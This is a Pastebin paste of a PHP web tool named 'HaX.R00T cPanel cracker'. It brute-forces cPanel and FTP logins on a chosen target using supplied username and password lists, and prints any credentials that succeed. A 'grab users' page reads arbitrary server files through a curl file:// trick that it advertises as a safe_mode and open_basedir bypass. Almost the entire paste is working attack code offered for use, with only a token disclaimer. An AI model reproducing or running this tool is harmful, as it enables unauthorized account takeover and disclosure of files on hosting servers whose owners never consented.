Advertisement
Guest User

Cpanel Cracker + FTP Cracker

a guest
Jan 9th, 2012
2,203
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.55 KB | None | 0 0
  1. <html>
  2. <head>
  3. <meta http-equiv="Content-Language" content="en-us">
  4. </head>
  5. <title>HaX.R00T cPanel cracker </title>
  6. <style>
  7. body{margin:0px;font-style:normal;font-size:10px;color:#FFFFFF;font-family:Verdana,Arial;background-color:#3a3a3a;scrollbar-face-color: #303030;scrollbar-highlight-color: #5d5d5d;scrollbar-shadow-color: #121212;scrollbar-3dlight-color: #3a3a3a;scrollbar-arrow-color: #9d9d9d;scrollbar-track-color: #3a3a3a;scrollbar-darkshadow-color: #3a3a3a;}
  8. input,
  9. .kbrtm,select{background:#303030;color:#FFFFFF;font-family:Verdana,Arial;font-size:10px;vertical-align:middle; height:18; border-left:1px solid #5d5d5d; border-right:1px solid #121212; border-bottom:1px solid #121212; border-top:1px solid #5d5d5d;}
  10. button{background-color: #666666; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
  11. body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}
  12. a:active { outline: none; }
  13. a:focus { -moz-outline-style: none; }
  14. </style>
  15. <style type='text/css'>
  16. <!--
  17. A:link {text-decoration: none; color:#cccccc }
  18. A:visited {text-decoration: none; color:#cccccc }
  19. a:hover {text-decoration: none; color:#000000}
  20. -->
  21. </style>
  22. <?php
  23. /* This Code was originaly written by HaX.R00T
  24. HaX.R00T Is not responsible for any damage/usage done with this script
  25. HaX.R00T
  26. */
  27. @ini_set('memory_limit', 1000000000000);
  28. $connect_timeout=5;
  29. @set_time_limit(0);
  30. $submit = $_REQUEST['submit'];
  31. $users = $_REQUEST['users'];
  32. $pass = $_REQUEST['passwords'];
  33. $target = $_REQUEST['target'];
  34. $option = $_REQUEST['option'];
  35. $page = $_GET['page'];
  36.  
  37. if($target == ''){
  38. $target = 'localhost';
  39. }
  40. ?>
  41.  
  42. <?php
  43. print "<br><br><br><center><TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='70%' bgColor=#303030 borderColorLight=#666666 border=1><tr><td width='70%'>
  44. <br><b><center><a href='?page=bio'> HaX.R00T </a> - <a href='?page=crack'> BRUTE </a> - <a href='?page=users'> GRAB USERS </a><br><br></center></td></tr></table>";
  45. if ( $page == 'bio' ){
  46. print
  47. "<br><br><TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='40%'bgColor=#303030 borderColorLight=#666666 border=1><tr><td>
  48. <br><b>Access Granted<br>
  49. user : HaX.R00T<br>
  50. 220 +ok<br>
  51. pass ********<br>
  52. 220 +ok login successful<br>
  53. [ HaX.R00T ]# info<b><br><font face=tahoma><br>
  54. <font color='red' >HaX.R00T cPanel cracker </font><b><br><br>
  55. Powerful tool , ftp and cPanel brute forcer , php 5.2.9 safe_mode & open_basedir bypasser ... more stuff will be included in the next version<br>
  56. Our website , <a href='http://ethicalhacking15.com'> Ethical Hacking 15</a><br>
  57. </center><br></td></tr></table>";
  58. }elseif( $page == 'crack'){
  59. // Pakistani HaXoR
  60. @ini_set('memory_limit', 1000000000000);
  61. $connect_timeout=5;
  62. @set_time_limit(0);
  63. $submit = $_REQUEST['submit'];
  64. $users = $_REQUEST['users'];
  65. $pass = $_REQUEST['passwords'];
  66. $target = $_REQUEST['target'];
  67. $option = $_REQUEST['option'];
  68. if($target == ''){
  69. $target = 'localhost';
  70. }
  71. print " <div align='center'>
  72. <form method='post' style='border: 1px solid #000000'><br><br>
  73. <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#666666 border=1><tr><td>
  74. <b> Target : </font><input type='text' name='target' size='16' value= $target style='border: font-family:Verdana; font-weight:bold;'></p></font></b></p>
  75. <div align='center'><br>
  76. <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#666666 border=1>
  77. <tr>
  78. <td align='center'>
  79. <b>Username</b></td>
  80. <td>
  81. <p align='center'>
  82. <b>Password</b></td>
  83. </tr>
  84. </table>
  85. <p align='center'>
  86. <textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$users</textarea>
  87. <textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$pass</textarea><br>
  88. <br>
  89. <b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
  90. <input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='brute' name='submit' ></p>
  91. </td></tr></table></td></tr></form><p align= 'left'>";
  92. ?>
  93. <?php
  94. function ftp_check($host,$user,$pass,$timeout){
  95. $ch = curl_init();
  96. curl_setopt($ch, CURLOPT_URL, "ftp://$host");
  97. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  98. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  99. curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
  100. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  101. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  102. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  103. $data = curl_exec($ch);
  104. if ( curl_errno($ch) == 28 ) {
  105.  
  106. print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
  107. exit;}
  108.  
  109. elseif ( curl_errno($ch) == 0 ){
  110.  
  111. print
  112. "<b>[ HaX.R00T ]# </b>
  113. <b> Attacking has been done , found username , <font color='#FF0000'> $user </font> and password ,
  114. <font color='#FF0000'> $pass </font></b><br>";}curl_close($ch);}
  115.  
  116. function cpanel_check($host,$user,$pass,$timeout){
  117. $ch = curl_init();
  118. curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
  119. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  120. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  121. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  122. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  123. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  124. $data = curl_exec($ch);
  125. if ( curl_errno($ch) == 28 ) {
  126. print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
  127. exit;}
  128. elseif ( curl_errno($ch) == 0 ){
  129.  
  130. print
  131. "<b>[ HaX.R00T ]# </b>
  132. <b>Attacking has been done , found username , <font color='#FF0000'> $user </font> and password ,
  133. <font color='#FF0000'> $pass </font></b><br>";}curl_close($ch);}
  134.  
  135. if(isset($submit) && !empty($submit)){
  136.  
  137. $userlist = explode ("\n" , $users );
  138. $passlist = explode ("\n" , $pass );
  139. print "<b>[ HaX.R00T ]# Attacking ...</font></b><br>";
  140. foreach ($userlist as $user) {
  141. $_user = trim($user);
  142. foreach ($passlist as $password ) {
  143. $_pass = trim($password);
  144. if($option == "ftp"){
  145. ftp_check($target,$_user,$_pass,$connect_timeout);
  146. }
  147. if ($option == "cpanel")
  148. {
  149. cpanel_check($target,$_user,$_pass,$connect_timeout);
  150. }
  151. }
  152. }
  153. }
  154. }elseif ( $page == 'users'){
  155. echo "<br><br><TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='40%'bgColor=#303030 borderColorLight=#666666 border=1><tr><td>";
  156. echo '<p><form name="form" action="" method="post"><input type="text" name="file" size="50" value="'.htmlspecialchars($file).'"><input type="submit" name="hardstylez" value="grab !"></form>';
  157. $file = $_POST['file'];
  158. $level=0;
  159. if(!file_exists("file:"))
  160. @mkdir("file:");
  161. @chdir("file:");
  162. $level++;
  163.  
  164. $hardstyle = @explode("/", $file); // A R I A
  165.  
  166. for($a=0;$a<count($hardstyle);$a++){
  167. if(!empty($hardstyle[$a])){
  168. if(!file_exists($hardstyle[$a]))
  169. @mkdir($hardstyle[$a]);
  170. @chdir($hardstyle[$a]);
  171. $level++;
  172. }
  173. }
  174. while($level--) chdir("..");
  175. $ch = curl_init();
  176. curl_setopt($ch, CURLOPT_URL, "file:file:///".$file);
  177. echo "<textarea rows='30' cols='120' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0' >";
  178. if(FALSE==curl_exec($ch))
  179. die('Sorry... File '.htmlspecialchars($file).' doesnt exists or you dont have permissions.');
  180. echo ' </textarea> </FONT>';
  181. curl_close($ch);
  182. print '</table>';
  183. }
  184. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement